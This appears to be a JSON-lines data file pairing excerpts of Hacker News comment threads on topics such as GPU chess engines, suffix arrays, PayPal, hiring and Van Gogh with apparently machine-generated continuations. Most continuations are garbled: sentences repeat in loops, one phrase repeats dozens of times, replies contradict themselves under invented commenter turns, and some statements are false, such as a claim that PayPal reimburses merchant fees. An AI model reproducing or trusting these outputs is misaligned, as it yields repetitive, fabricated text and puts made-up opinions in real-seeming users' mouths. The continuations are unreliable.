CPU (ex: the\nUCT evaluation probably should be on the GPU: which could be done relatively\neasily by passing play-statistics to the GPU kernel. GPUs are very fast at\nsquare-roots and stuff, and you're already spinning up a GPU thread for the\nwhole random-rollout thing, might as well evaluate the UCT value while you're\nstill in GPU land. I think anyway)\n\nBut yeah, I haven't fully understood how you're doing the MCTS stuff yet. Its\ndefinitely interesting code though.\n\n\\----------\n\nEDIT: I'd personally want to figure out how to get the MCTS search into the\nGPU somehow. But doing the rollouts on the GPU is the \"obvious\" first step (at\na minimum, you need to have a chess engine in the GPU before any further steps\nare possible), and its cool that you found a practical use of the random-play\nengine with the classic MCTS algorithm.\n\n------\nmrob\nFIDE Candidate Master Kingscrusher (Tryfon Gavriel) has been posting analysis\nvideos for some of these games on Youtube. LC0's win as black against the\nTrompowsky Attack was particularly impressive:\n\n[https://www.youtube.com/watch?v=rz51_wFgNrQ](https://"} +{"output_text": "\n\n------\njedberg\nI'm not sure if this is a joke or not, but I'm going to go ahead and assume\nit is.\n\nI'm going to assume that the \"YC\" is a reference to Y Combinator.\n\n~~~\njedberg\nI'm not sure if this is a joke or not, but I'm going to go ahead and assume\nit is.\n\nI'm going to assume that the \"YC", "input_text": " naming. I imagine we will want an airport code\nstaring with YC, so it'll have to be in Canada :P\n\n------\nroryisok\nNot funny but sort of relevant. Here in Ireland we just had an air disaster -\nan air sea rescue helicopter crashed into an island off the west coast and all\naboard were killed. The accident investigation has determined that the island\nwas not registered on the aircraft's mapping system.\n\n~~~\nhermitdev\nThis is why every air craft comes equipped with a set of MKII eyeballs. Not\ntrying to make light of it, or anything, but this is a prime example of why\ngood vision is a requirement of any pilot. Not familiar with this incident or\nwhether it was night-time or during inclement weather.\n\nRegardless of the circumstance, my apologies & condolences to the friends &\nfamily of the crew and any passengers. From your short description, this seems\nlike an easily avoided accident and I hope actions are being taken to prevent\na recurrence.\n\n~~~\nroryisok\nAccording to the recovered black box recordings, one of the crew did see the\nisland, but not soon enough.\n\nProbably the most shocking part is that there was a lighthouse on this island,\nwhich was operational at the time. This is shocking both because it should\nhave been blindingly obvious to the pilot and crew that they were flying\ntoward a lighthouse, and also that an island significant enough to have a\nlighthouse on it would not be on a digital mapping system. It's on Google maps\n- [https://goo.gl/maps/Xdt7rzUErX42](https://goo.gl/maps/Xdt7rzUErX42), even\nhas photos and information."} +{"output_text": "\nterm memory is a form of intelligence.\n\n~~~\njameshart\nI think the idea of intelligence amplification is that it's not just about\nmemory, but about the ability to process information in a way that is\ndifferent from the way you process it normally.\n\nI think the idea of intelligence amplification is that it's not just about\nmemory, but about the ability to process information in a way that is\ndifferent from the way you process it normally.\n\n------", "input_text": "68k\nNothing is more high-tech than culture, it's _everything_ even if we tend to\nwork over the seemingly faceless Internet these days - it's people all the way\ndown.\n\n------\nmaxander\nThe idea of \"notation as intelligence augmentation\" is the reason (or one of\nthem) that Haskell programmers are so enthusiastic about things like functors\nand monads; type theory is its own branch of mathematics that could be\nappended in the list of things like calculus and vector analysis [1], and\nmight bring in the same kind of new levels of thought and abstraction.\n\n[1] Disclaimer; I am not a mathematician.\n\n------\nMaysonL\nWhen considering intelligence amplification, the book that comes to mind is\n_Psychohistorical Crisis_, by Donald Kingsbury. Computer-to-brain interfaces\nmay go a long way in the next few thousand years.\n\n[https://en.wikipedia.org/wiki/Psychohistorical_Crisis](https://en.wikipedia.org/wiki/Psychohistorical_Crisis)\n\n~~~\narethuza\nAlso Vernon Vinge's _Rainbows End_ which has both IA and AI in a fairly\nplausible near future scenario:\n\n[https://en.wikipedia.org/wiki/Rainbows_End](https://en.wikipedia.org/wiki/Rainbows_End)\n\n------\nhyperpallium\noblig. [https://xkcd.com/903/](https://xkcd.com/903/)\n\nWe already have amplified memory (see also: books, mnemonics). and google\namplifies _retrieval_.\n\nBut what is \"intelligence\", that we might amplify it? For me, limited short-"} +{"output_text": " file from the index.\n\n------\njedisct1\nI'm not sure if this is a good idea, but I'm curious:\n\nWhy not use a hash table?\n\n~~~\njedisct1\nI'm not sure if this is a good idea, but I'm curious:\n\nWhy not use a hash table?\n\n~~~\njedisct1\nI'm not sure if this is a good idea, but I'm curious", "input_text": "/xxsds/sdsl-lite) (currently unstable!)\n\n------\nvisarga\nI used to play with suffix arrays a long time ago. I wanted to accelerate grep\non a gigabyte text file. The tool was called \"sary\" (short for suffix array)\nand still exists on a forgotten SourceForce page. Good tool, it was able to\nfind any substring in a huge file instantly.\n\n~~~\ntmzt\nHow might your method compare to the tech in ripgrep or The Silver Searcher?\nAre there cases where it might be faster?\n\n~~~\nnialo\nThey solve different problems. In particular, ripgrep and friends are designed\nto search arbitrary and potentially large directories with no pre-computation.\nThey run in time ~linear in the size of the files to be searched.\n\nThe paper under discussion here is about a new way to create an index that\nalso takes time ~linear in the size of the files to be searched, although\npresumably with a higher constant factor than just searching those files.\nAfter you have the index it's possible to search it in time linear in the\nlength of the query rather than the files. This is much faster, but requires\nstoring an index that is at least as large as the original file set, and\nkeeping it up to date as things are changed etc.\n\n~~~\nnightcracker\nCan you retrieve the original file from the index? If yes it's maybe\ninteresting to store files like that for some databases by default and\nretrieve the original file only when needed.\n\n~~~\nnialo\nI haven't read this paper, and haven't worked with the compressed variety of\nsuffix trees/arrays. That said, I'm confident it's possible to retrieve the\noriginal"} +{"output_text": "\n\n------\njancsika\nI remember using a text editor called \"TSE\" on OS/2. It was a very nice\neditor.\n\n------\njancsika\nI remember using a text editor called \"TSE\" on OS/2. It was a very nice\neditor.\n\n------\njancsika\nI remember using a text editor called \"TSE\" on OS/2. It was a very nice\neditor.\n", "input_text": " than (e.g.) TSE. Don\u2019t misunderstand me, I\nsurely like Emacs and I use it regularly, but the command-line version is a\nstrange thing in a DOS environment.\n\n------\nlsllc\nThe TSE/QEDIT and FTE TUI's look like they were made with Borland's Turbo\nVision framework [0].\n\nOh man, so much retro-computing these days on HN, I love it!\n\n[0]\n[https://en.wikipedia.org/wiki/Turbo_Vision](https://en.wikipedia.org/wiki/Turbo_Vision)\n\n------\ncraz8\nMicrosoft did release a nice editor called M back around the end of the 80s\n\nHere\u2019s some info about it, and maybe a way to get something that works today\n\n[http://www.os2museum.com/wp/microsoft-\neditor/](http://www.os2museum.com/wp/microsoft-editor/)\n\n~~~\nLocalH\nThat guest post was by the same author as the linked post. In fact, the linked\npost is also present in your link, linked in the first sentence.\n\n------\nkarmakaze\nThere was this awesome editor called Kedit that I used on OS/2 and Win NT. I\nthink there were text and GUI versions, but not free.\n\nEdit: search turns up a free/shareware GUI version, no mention of the\n'classic' text-mode one\n\n~~~\nrhabarba\nKEDIT, the XEDIT clone? There is a free version of that, The Hessling Editor.\n\n~~~\nkarmakaze\nYes. I's forgotten its xedit roots."} +{"output_text": " on them.\n\n------\njoshu\nI'm not sure I'd call this a side project.\n\n~~~\njoshu\nI guess I should clarify. I'm not sure I'd call this a side project. I'm\ntalking about the \"side\" projects that are not \"side\" projects.\n\n------\njoshu\nI'm not sure I'd call this a side project.\n\n~~~\njoshu\nI guess I should", "input_text": " to send many pictures\nto a group of friends in one go.\"\n\nIsn't that email?\n\n~~~\njazzychad\nyes, it is. however, accomplishing this with email on iphone is extremely\ntedious (many steps) and error-prone.\n\n~~~\nhnriot\nNot in my experience, camera roll, select photos, share, email, auto-complete\nfriends email address's, send\n\nThis isn't in any way tedious or error prone.\n\n------\nkyle_wm\n\"I wanted to improve my life skills in some other fashion than programming...\nI needed a way to train myself since there are many rules to learn. So, what\ndo I do? I break my rule of no more programming and write my own training\nsoftware.\"\n\nThings like this confirm for me that I am in the right profession :)\n\n------\nmroth\nnice list! I also did a similar post, and since people seem to be posting\ntheirs here, here's mine: [http://blog.mroth.info/blog/2012/11/11/the-year-in-\nside-proj...](http://blog.mroth.info/blog/2012/11/11/the-year-in-side-\nprojects/)\n\n~~~\nbrador\nI'm loving this stuff! It says you went on a domain buying spree after the\nemoji find. Can I ask what Other domains you got? Is there something special\nabout the.ws or does it work on.com too?\n\n~~~\nmroth\nfor.ws, as far as I can tell, most TLDs don't allow \"fun\" things such as\nemoji, and the software most registrars use also sometimes barfs"} +{"output_text": "\n\n\\+ Free trial\n\n\\+ Free plan\n\n\\+ Free plan with unlimited testing\n\n~~~\njoshstrange\nI've used Browserling before and I really like it. I've used it for a few\nprojects and it's been great. I've also used Sauce Labs and I've been\ndisappointed with it. I've used it for a few projects and it's been great.\n\n------\njoshstrange\nI've been using Sauce Labs for", "input_text": "1], they recommend to put the service on a\ndedicated machine on your intranet that you can zone off so it only has access\nto the parts of the network you want to allow.\n\nSeems like a decent solution to allow a running a cloud service behind a\nfirewall.\n\n[1] \n\n~~~\nhighwind\nStill. I feel like the price is way too much. The recommended plan is\n$149/month. For the long run, buying a decent machine and running your own\nvirtual machines would be cheaper.\n\nSomeone prove me wrong.\n\n~~~\nawilson820\nWhat you're seeing is actually pricing for our automated testing service.\nSauce for Mac is either free (30 mins of testing/mo) or $12/mo (for unlimited\nminutes against all browsers). It also comes included with all the testing\nplans on that page.\n\n~~~\njoshstrange\nWhoa, this is news to me, I checked out sauce a month or so ago and came to\nthe same conclusion as highwind. $12/mo is something that I would be more\ninterested in. You should make that way more obvious. I haven't fully\nharnessed the power of TDD and it isn't used at my current job so I have no\nuse for it. On the other hand the ability to test websites on different\nbrowsers is very important to my job and for $12/mo it's something I can\nafford to get for myself to use for work and personal projects.\n\n------\njakozaur\nGood concept, but prefer one of their competitors: \n\n\\+ Web based\n\n\\+ No account needed to try it"} +{"output_text": "way to go to college.\n\n~~~\njbooth\nI think the community college model is a good one, but I think it's a bit\nmisguided to think that it's a good model for the rest of the country.\n\nI think the best model for the rest of the country is a two-year community\ncollege, with a year of work-study.\n\nThe reason is that the rest of the country is not as wealthy as the Bay Area", "input_text": " and getting enough sleep. Lots of people work while going to school\nand end up dropping out or going every other semester because they don't make\nenough in their low-paying unskilled labor job. This is a vicious cycle which\nresults in the poor staying poor because they can't make enough at the job\nthey must have in order to pay for education.\n\nChildren from wealthier families can afford to funnel a bit of money towards\ntheir education, and maybe only work part-time for some spending money. Don't\nget me wrong - highly educated people are great for a society and this\nshouldn't be discouraged, but I also think we have a duty to help those living\nharder lives than our own.\n\n~~~\nrdl\nI agree most education should be free -- just not that 4-year residential\ninstitutions (particularly mediocre ones) should be subsidized. The purpose of\npartial payment by the user for a service like community college is to\ndiscourage waste; something on the order of $100-200 per class would be\nadequate for that. It would be payment by the student, not by his family.\n\nThe community college model is that you can work while attending. I don't\nthink it is unreasonable to expect someone to do so -- working full time while\nattending a 4 year university is probably not viable (I tried doing it, and\nultimately dropped out), but I think the Internet should allow an expansion of\nthe role of online courses and community college, both highly compatible with\nwork-study.\n\nI would go so far as to eliminate non-merit scholarships and financial aid\n(subsidized loans, etc.) for 4 year institutions (except for things like the\nGI Bill which are a form of compensation). They should not be the mainstream\n"} +{"output_text": "\nexperience, and the other half through luck.\n\nI'm not sure what the best way to proceed is. I've been trying to get a\nprototype built, but I'm not sure if I should just go ahead and build it, or\nwait until I have a better idea of what I'm doing.\n\n------\njoshu\nI think you need to get a better idea of what you want to build.\n\nI'm not sure what you mean by \"", "input_text": " 10% its price point\u2014it will give you\nconfidence and will validate that your product is valuable.\n\nAs for the feature creep, I think it will happen always, as each customer has\nits own view on your product, and since you're the one making it, they will\ntell you things, some are good ideas, but most of them are not very good,\nsince most don't know what they want. You'll have to find balance.\n\nThe thing that helped me a lot is being in a big city. I'm from a way smaller\nplace and I've been building stuff for 15+ years, and the big city mindset is\nway more open than the small city's, as they will use anything, but only once\nit has been proved.\n\nI hope those pieces of advice help you in your journey. If you want to talk a\nlittle bit more, my email is in my bio.\n\n------\ngenbit\nIf you now someone who can/want also use your product, ship early versions to\nthem. Even screenshots. If not, try to find these users, and ship to them :)\n\nI think, early fear of shipping is a symptom of uncertainty \"will someone need\nthis product?\" You should try to find this someone as soon as possible, and\nget feedback from them.\n\n------\nmcmatterson\nI'm facing the same dilemma with a hardware project of mine ([http://tooner-\ntest.moshozen.com](http://tooner-test.moshozen.com)). In the past month alone,\nI've been stuck on several things (public name, dealing with constant ID\ncreep, finding a mill that can resaw, among others). Though they're\ncontradictory, it seems that half of the roadblocks get solved through"} +{"output_text": " loss, it's a sign that the goal is\nunrealistic.\n\n~~~\nelnado\nI agree, but I think that's a good thing. It's a sign that the goal is\nunrealistic.\n\n------\njoshu\nI think the best way to learn is to do.\n\nI'm not sure how to do that, but I think it's a good idea to find a way to\nmake money doing it.\n\n~~~\n", "input_text": " general, it's probably a better idea to strengthen one's foundation as they\nserve as the prerequisites for more advanced subjects. Google's guide to\ntechnical development [0] is a good place to start.\n\nAs far as just finding courses to take, you could just search the course\ncatalogs of sites like Coursera, edx, Udacity, and Stanford's online offerings\n[1].\n\n[0] [https://www.google.com/about/careers/students/guide-to-\ntechn...](https://www.google.com/about/careers/students/guide-to-technical-\ndevelopment.html)\n\n[1]\n[https://lagunita.stanford.edu/courses](https://lagunita.stanford.edu/courses)\n\n------\nelnado\nUgh, regardless of what we say we wish to do on this post, what I'm sure many\nof us lack is external motivation to do it. One app to help solve that is\ncalled Spar, developed by a friend of a friend\n([https://itunes.apple.com/us/app/spar!-get-better-at-\nstuff/id...](https://itunes.apple.com/us/app/spar!-get-better-at-\nstuff/id1109640290)). You set a goal with your friends, e.g. read a chapter\nevery day, and put 20$ or so in the \"pot\". Whoever does the best at meeting\nthe goal, gets the pot, and if you slack on your goal you lose the money.\n\n~~~\nbrendoncrawford\nWhen the incentive to finish a goal shifts from the innate satisfaction of\ncompletion to a fear of financial"} +{"output_text": " I am\nproductive when I work alone.\n\n------\nk__\nI'm a solo founder and I'm not productive at all.\n\nI'm not sure if it's because I'm not used to it, but I'm not productive.\n\nI'm not sure if it's because I'm not used to it, but I'm not productive.\n\nI'm not sure if it's because I'm not used to it, but I'm not productive.\n\n", "input_text": " before I could tell myself \"job\ndone.\" I wasn't going to get much done on that sort of day anyway but at least\nI didnt beat my self up about it.\n\nThat last point is where understanding yourself and acceptance really starts\nto play a role.\n\n~~~\nrqm\nThank you for that one neat trick.\n\n------\nhungerstrike\nAre you working by yourself most of the time? I forget where I read it, but I\nthink it was Joel Spolsky that said \u201cDon\u2019t be a guy in a room\u201d because even if\nyou can do whole projects by yourself, it gets boring and feels unfulfilling\ncompared to working on a team.\n\n~~~\najeet_dhaliwal\nThe exact opposite is true for me most of the time. The open office ruins it,\nworking on my own or limiting contact is productive.\n\n~~~\nbluehatbrit\nSpolsky has always been an advocate of private offices, I don't think this\nquote is intended to be literal. I think it more means being the only one\nworking on a project can suck after a long time, especially if you've got\nideas you want to bounce of people and can't.\n\n------\nxstartup\nYou work alone right?\n\nI am hyperproductive when I work in a team because I want to show people who\nstuff is done within deadline with minimum efforts.\n\nBut when I work alone, I lose all motivation. I achieve much less. Even after\nstarting 5 companies.\n\n~~~\nci5er\nPeople are funny. I am the complete opposite. (Not that I don't get lonely\nworking alone)\n\n~~~\nxstartup\nHey! I am an introvert and love staying alone. I like to think that"} +{"output_text": " of the Indian people.\n\n~~~\npjc50\nIt's a bit of a shame that the Indian government is so keen to suppress\ndemocracy in Kashmir, and that the Indian government is so keen to suppress\ndemocracy in India.\n\n~~~\nrandomly123\nI don't think it's a shame. I think it's a shame that the Indian government\ndoesn't have the same level of respect for democracy as the Indian people.\n\n~~~\npjc", "input_text": ". I'm not even sure\nGandhi would have _wanted_ to appear on British currency, at least not after\nthe early period in his life when he unsuccessfully tried to earn the respect\nof the British by encouraging Indian Hindus to volunteer for British war\nefforts.\n\n~~~\npjc50\nYes, it's a very odd choice. The criterion that the person not be alive makes\nit a little tricky, but previous research has some good candidates:\n[https://www.bbc.co.uk/news/business-53547483](https://www.bbc.co.uk/news/business-53547483)\n\nNoor Inayat Khan already has a George Cross for war heroism, making her a nice\nconservative-friendly choice.\n\n~~~\nnotahacker\nOlaudah Equiano and Mary Seacole would be the classic nonwhite choices,\nespecially considering we've had William Wilberforce and Florence Nightingale\non banknotes for related achievements. I guess having Gandhi cancels out his\nlongstanding critic Churchill...\n\n------\nfnord123\n> the first non-white person on British currency\n\nSaint George featured on coins previously. He was from what is now modern day\nEastern Turkey which I think people who care about white/non-white might\nconsider non-white (I really don't know).\n\n~~~\nrgblambda\nSaint George was a Greek. Whether the Greeks are to be considered \"white\"\ndepends on whatever your definition of white is I suppose.\n\n------\nrandomly123\nDemocracy in India is a rare jewel in a large swathe of non-democratic states\nin Asia and around the world. That it exists at all, as a democracy, is due to\nthe immense efforts"} +{"output_text": " I was thinking.\n\n------\njoshstrange\nI'm not sure I understand the point of this. I have a webcam on my laptop and\nI use it for Skype and other things. I don't think I've ever used it for\nanything else.\n\n------\njoshstrange\nI'm not sure I understand the point of this. I have a webcam on my laptop and\nI use it for Skype and other things. I don't think", "input_text": "taking away your disk drive, etc. Most companies care more about aesthetics\nthan functionality at this point.\n\n~~~\nojii\ncan I have a laptop without a webcam/integrated mic then?\n\n~~~\nsoylentcola\nHow courageous of you!\n\n------\nawesomerobot\nAlso remove your microphone and don't use a keyboard? If I were hacking you\nI'd _much_ rather log your keystrokes or hear what you're saying.\n\nThe number of scenarios where having a visual would be useful would be\nincredibly low by comparison.\n\nPutting a sticker over your webcam is like putting a lock on a screen door.\n\n~~~\nmaxerickson\nMost screen doors I can think of do have locks.\n\nEven quite home made ones often end up with a hook that kids can't reach.\n\n~~~\nawesomerobot\nThat's my point. It does one thing, but it's by no means security.\n\n------\npiedradura\nI prefer to have a computer composed by parts, so I attach the webcam to the\ncomputer when I need to, same thing for the audio and many other applications.\n\nI only need 1k of ram to send a secret message, so no virus or malware could\nbe in my tiny computer.\n\n------\nzelos\nDidn't all Sun webcams used to have little irises that you could close on\nthem?\n\nIt seems like a sensible precaution: makes it less likely I'll accidentally\nlog into a company conference call in my dressing gown with my camera enabled.\n\n------\nwhitenoice\nJust saw the prescreening of snowden movie with online live event with movie\ncast and snowden post movie, and this was exactly what"} +{"output_text": ", I don't have to worry\nabout my card being stolen.\n\n~~~\nkruczek\nI agree, but I think that the fee is paid by the merchant, not by the end-user\ncustomer.\n\n~~~\nStrom\nI don't think so. The fee is paid by the merchant, but the merchant is\nreimbursed by PayPal.\n\n~~~\nkruczek\nI don't think so either. The fee is paid by", "input_text": " office, we're far removed\nfrom Silicon Valley and I don't think anyone has ever even heard of Venmo\nhere. We use it all the time to pay each other for lunch runs.\n\n------\ndirktheman\nEase of use for the end users? If you have auto login enabled in your browser\nyou can pay without even typing your password. After checkout you get\nredirected through Paypal, you are logged in automatically, you click 'OK' and\nget redirected to the 'thank you'-page. It's seamless.\n\nSecure? That can be debated. But it is the fastest way to pay for your online\npurchases. I know you're coming from a different standpoint ('Why do\ne-commerce businesses still use Paypal?' would have been a better title in\nthat case) but a lot of end users probably won't switch because it's easy to\nuse.\n\n~~~\nkruczek\nEase of use goes a bit against security. For example in Poland there's a\npopular intermediary przelewy24.pl, but it is just that - an intermediary. You\ndo not create any additional account there, instead when you make a payment\nthey redirect you to your bank's webpage, so you need to authorize directly\nagainst your own bank. Much better IMO than having the intermediary interact\nwith my bank all by themselves.\n\n~~~\ndirktheman\nEase of use and security seldom go hand in hand...\n\n------\nStrom\nThe fee is paid by businesses, not the end-user customers who use PayPal. Thus\nit doesn't even enter the equation when users choose PayPal.\n\nI personally like PayPal because then I only have to update my card info in\none place as opposed to 50 different websites. Also"} +{"output_text": " or seed funds, you need\nto figure out what you need to do to get there.\n\nAngel investors are typically looking for a founder who has a proven track\nrecord of building a successful company. They're looking for a founder who\nhas a proven track record of building a successful company. They're looking\nfor a founder who has a proven track record of building a successful company.\nThey're looking for a founder who has a proven track record of building a\nsuccessful company", "input_text": " working full-time on our\nproduct. We have no taken on any investments yet. We closed our first customer\nwhile both working full-time jobs and have been building enough pipeline to\nhave a clear path to covering our expenses over the next 6 months.\n\nWe have been very deliberate about not courting investors yet because we want\nto ensure we have something people would want to actually invest in before we\nstart the whole fundraising process.\n\nWe have gone down the route of trying to pitch the vision to investors while\ntrying to find customers and found the whole experience to be distracting and\na bit of a fools errand for first time founders.\n\nMy biggest takeaway from the experience was the growth trumps all. Investors\nwant to invest in companies that have a very clear path to growth ($x in =\n$10x out) in markets that will grow into the future. They are also more\nenticed if it seems like their personal interactions will be the key\ndifferentiator in the success or failure of a business.\n\nIf your goal is go full-time on your product, I would recommend trying to\nclose as many customers as you would need to ensure both you and your\ncofounder can cover your monthly expenses. Once you get to this point,\nthinking about how to raise money (and more importantly WHAT you will do with\nit after you have it) becomes more relevant.\n\n------\nlpolovets\n(I'm a VC)\n\nFirst step is figuring out how much you need to raise and who the appropriate\ninvestors are. If it's tens of thousands or low hundreds of thousands of\ndollars, that can be from angel investors. If it's closer to a million or\nmore, that's typically seed funds.\n\nOnce you figure out whether to target angel investors"} +{"output_text": " at the pie charts.\n\n------\njoshu\nI'm not sure I understand the point of this article.\n\n~~~\nhristov\nIt is a marketing piece.\n\n------\njoshu\nI'm not sure I understand the point of this article.\n\n~~~\nhristov\nIt is a marketing piece.\n\n------\nhristov\nI'm not sure I understand the point of this article.\n\n~~~\nhristov", "input_text": " compares. One of them, you probably have never heard of (and by\n\"coincidence\", its name is a portmanteau of the names of two other networks.)\n\n~~~\nhristov\nYes, and notice the first chart in his article. It has bars for Twitter,\nfacebook, myspace and myyearbook, and surprise surprise his unknown company\nsports the highest bar.\n\nGood job myyearbook! Way to get that 25% share of teenagers. So let me guess\nyou have 4 members and one of them is a teenager. Your younger brother\nperhaps?\n\n------\nmakmanalp\nThe first four reasons why they don't use twitter give some insight:\n\n1) It's lame 2) My friends don't use it 3) I don't understand it 4) It doesn't\nhelp me do anything\n\nThe rest of the reasons are less than 15%.\n\n~~~\nhughprime\nPretty sensible reasons there.\n\nI can't see much point in a teenager using twitter. Teenagers spend every\nweekday at the same school as most of their friends anyway, and at any given\ntime their friends are doing pretty much the same thing they are. \"Sitting in\nclass. Bored.\"\n\nIt's only when you get older and your friends get a bit more diverse and\nspread out and more likely to be engaging in interesting activities that\ntwitter becomes less dull.\n\n------\nDeadsunrise\nMy brain hurts after seeing those piecharts, \"Yes\" in red and \"No\" in Blue. I\nhad to check the legend twice to make sense of them (and still seems counter-\nintuitive)\n\n------\nhristov\nOMG, Twitter has to have the best fricking marketing people in the universe.\nJust look"} +{"output_text": "'ve tried everything from meditation, to exercise, to drugs, to alcohol, to\nworking out, to working out, to working out, to working out, to working out, to\nworking out, to working out, to working out, to working out, to working out, to\nworking out, to working out, to working out, to working out, to working out, to\nworking out, to working out, to working out, to working out, to", "input_text": " molecular bonds, which would be\nspecific to symmetries/energies in Ice-7 and very different from the known\nspectrum of diamond.\n\nedit to add:\n[http://www1.lsbu.ac.uk/water/water_vibrational_spectrum.html](http://www1.lsbu.ac.uk/water/water_vibrational_spectrum.html)\n\nHowever, I suppose it could also be X-ray crystallography, which would measure\nthe actual crystal structure. Probably other methods as well...\n\n~~~\ncreep\nThey do mention it in the article\n\n>But while they were scanning the diamonds with high intensity X-rays, they\nsaw something else: The first conclusive evidence of ice-VII on the planet.\n\nBut probably they used other methods to confirm.\n\n------\nnfarrell\nIce Nine???\n\n~~~\nsamstave\nTyrell Corp security are here to have a word....\n\n \nAsk HN: Is it 'normal' to struggle so hard with work? - throwawayqdhd\nThis question might come across as dumb, especially for a 30 year old, but I come from a culture where this aspect of work was never emphasized and at this point, I don't know who to ask.

Basically, since as long as I can remember, I've had issues motivating myself to work and focusing on a single task.

I've used everything from rewards ("If I work for X hours, I'll play a video game") and punishment ("If I don't work for X hours, I'm a complete failure") to get myself to work.

I"} +{"output_text": " _Diversity_ is a _good thing_. It's not a \"fad\" or a \"buzzword\" or a\n\"marketing ploy\". It's a _good thing_ , and it's a _good thing_ that we're\ntrying to fix the problem.\n\n2\\. _Diversity_ is a _good thing_ , but it's not a _good thing_ that we're\ntrying to fix the problem by lowering the bar.", "input_text": "\na buxom under qualified blonde a second interview because \"we don't have any\nhot chicks in this office.\"\n\n~~~\npessimizer\nAre you honestly going to try to tell me that you get a lot of homeless\napplicants? If I get a homeless applicant, they're getting an interview.\n\n~~~\nacctjustforyou\nIf I get an applicant who cannot or will not understand what a thought\nexperiment is, they're not getting an interview - I don't care what college\nthey went to.\n\nAnd yes, I registered this account because your comment was so breathtakingly\nill-informed.\n\n------\nnailer\nThe proper way to fix unconscious bias is blind hiring, at least until the\nfinal stage. I know a bunch of people with CS degrees in the Unix world and\nthey can't program, I know a bunch of people without them who can.\n\nThe only test of skill is a test of skill. Blindly ask them both to make a\nthing, leave them alone for forty minutes to make it, and see who makes it\nbetter.\n\n------\nbasseq\nThis article is what happens when you push diversity by fiat and don't extend\nthe initiative beyond recruiting. Even when programs like this are well-\nintentioned, you can see the _extremely destructive_ fallout: the author and\nthose like him are going to look at all \"diverse\" employees and think, \"You\ngot a free pass. You're not as good as everyone else.\"\n\nLet's flip all these changes around to show how it's not about \"lowering the\nbar\", it's about realizing that a one-size-fits-all \"bar\" isn't an effective\nhiring method in the long run.\n\n1\\."} +{"output_text": "https://www.melbourne.vic.gov.au/Sustainability/UrbanForest/Pages/TreeCover.aspx)\n[4]\n[https://www.melbourne.vic.gov.au/Sustainability/UrbanForest/...](https://www.melbourne.vic.gov.au/Sustainability/UrbanForest/Pages/TreeCover.aspx)\n[5]\n[https://www.nature.com", "input_text": " * consequently, ~40% of the city's trees are dead, or are in decline. The council now expects that 27% of the trees will die in the next 10 years, and 44% of the trees will die in the next 20 years.\n\nMelbourne city now is aiming to improve tree canopy cover from 22% to 40% by\n2040 [3], as a means to reduce the city's temperature by 4 degrees C. There is\nalso work to capture storm water run-off from the city to use for irrigation.\n\nNote that this is only talking about Melbourne's city centre (0.12m\nresidential population of 4.2m total) [4].\n\nAs an aside, outside of cities, there is a recent Nature Geoscience paper that\nlinks lethal tree water stress thresholds to long-term climate models, and\nforecasts tree deaths due to drought in the southwestern United States by\n~2050, assuming the world follows a high-emissions business-as-usual scenario\n(RCP 8.5, i.e. uncontrolled emissions, which tracks reality to date) [5].\n\n[1]\n[https://www.melbourne.vic.gov.au/Sustainability/AdaptingClim...](https://www.melbourne.vic.gov.au/Sustainability/AdaptingClimateChange/Pages/Drought.aspx)\n[2] [http://citiscope.org/story/2015/can-melbourne-lower-its-\ntemp...](http://citiscope.org/story/2015/can-melbourne-lower-its-\ntemperature-4-degrees) [3]\n[https://www.melbourne.vic.gov.au/Sustainability/UrbanForest/...]("} +{"output_text": " and I think they're worth a look.\n\n~~~\njameshart\nI'm not sure I agree with your assessment of Van Gogh's letters. I think they\nare a fascinating window into his mind, and I think they are a great\nintroduction to his work.\n\nI think the letters are a great example of how a person can be very\ninteresting and very different from the person you meet in person.\n\n~~~\njameshart\nI'm not sure", "input_text": " a lot in the countryside. What I think is amazing about Van Gogh is\nthat he paints those scenes not just as \"beautiful\" in a simple sense, but\nsometimes in a way that makes the landscape looks lonely, sad, or even\ndistorted in a strangely vivid and almost scary way.\n\nI doubt Van Gogh himself would say that his paintings \"lived up\" to the lived\nexperience of being in the countryside during a sunset, say. But they mirror\nit in an interesting way, and having seen those paintings, one can see the\ncountryside in a somewhat different way, or with more complex resonances.\n\nHis letters are fascinating to read. Some quotes:\n\n _\u201cWhat I want to express, in both figure and landscape, isn\u2019t anything\nsentimental or melancholy, but deep anguish. In short, I want to get to the\npoint where people say of my work: that man feels deeply, that man feels\nkeenly.\u201d_\n\n _\u201cMany a worker in a factory or shop has had a strange, beautiful and pious\nyouth. But city life sometimes removes \u2018the early dew of the morning.\u2019 Even\nso, the longing for \u2018the old, old story\u2019 remains. What is at the bottom of the\nheart stays at the bottom of the heart.\u201d_\n\n _\u201cWhat am I in the eyes of most people \u2013 a nonentity or an eccentric or an\nobnoxious person \u2013 someone who has no position in society and never will have,\nin short the lowest of the low. Well, then \u2013 even if that were all absolutely\ntrue, I should one day like to show by my work what there is in the heart of\nsuch an eccentric, such a nobody.\u201d_\n\nHe's a very different person from me, but I found his paintings strangely\ninteresting,"} +{"output_text": " if\nthey are not 100% correct.\n\n~~~\nmindslight\nI'm not sure I understand your point. The problem is that the protocol\nstandard is not a guarantee of correctness. It's a guarantee of _compatibility\nwith the current state of the art_.\n\nIf you want to build a protocol that is 100% correct, you need to build it\nfrom the ground up. But if you want to build a protocol that is compatible with\nthe current state", "input_text": "determine (some or all points on) the route. I think future protocols will\ntrack use and payment via client-provided keys which are somehow linked to\ntheir ISP.\n\n------\nmindslight\nWhat is this specifically aimed at? The entire point of the End to End\nPrinciple is that mid-nodes should be passing packets, not mucking about with\nthem. Everything that has been developed contrary to that (eg DPI boxen) are\nbasically exploits of security vulnerabilities attempting to force the old\ntop-down telco services model.\n\nSo yes, putting a name on what m[ie]ddle nodes can observe is useful. But I\nhave to ask for what end, given that any modern protocol should be aimed at\nreducing this \"wire image\" to the absolute minimum possible. The only reason\nnecessitating still using plaintext-header TCP/UDP is because we're stuck with\nNAT, and the only reason to use ip.saddr is because we're stuck with egress\nfiltering.\n\n~~~\npas\nThe problem is, even in a situation with only good faith actors, not every\ncodepath is equally developed/tested/working, and bugs creep in. Especially if\nsome parts of a protocol are there for future use. Then if a buggy\nimplementation gets widespread, that effectively nixes that part of the future\npotential of the protocol.\n\nThat's why, if you think about a clever solution for something, and your\nsolution depends on the letter of the standard instead on actual large scale\nexperiments, then the risk of stumbling into big problems is large. Sure, it\nmight be only 1-5% of the Internet that cannot use your clever solution. But\nhistorically developers opted to chose solutions that work for 99.9%, even"} +{"output_text": "._\n\nI don't get it either.\n\n------\njoshu\nI think the author is missing the point.\n\nThe point is that you can't have a technical cofounder without a business\ncofounder.\n\n------\njoshu\nI think the author is missing the point.\n\nThe point is that you can't have a technical cofounder without a business\ncofounder.\n\n------\njoshu\nI think the author", "input_text": " (there is a pattern 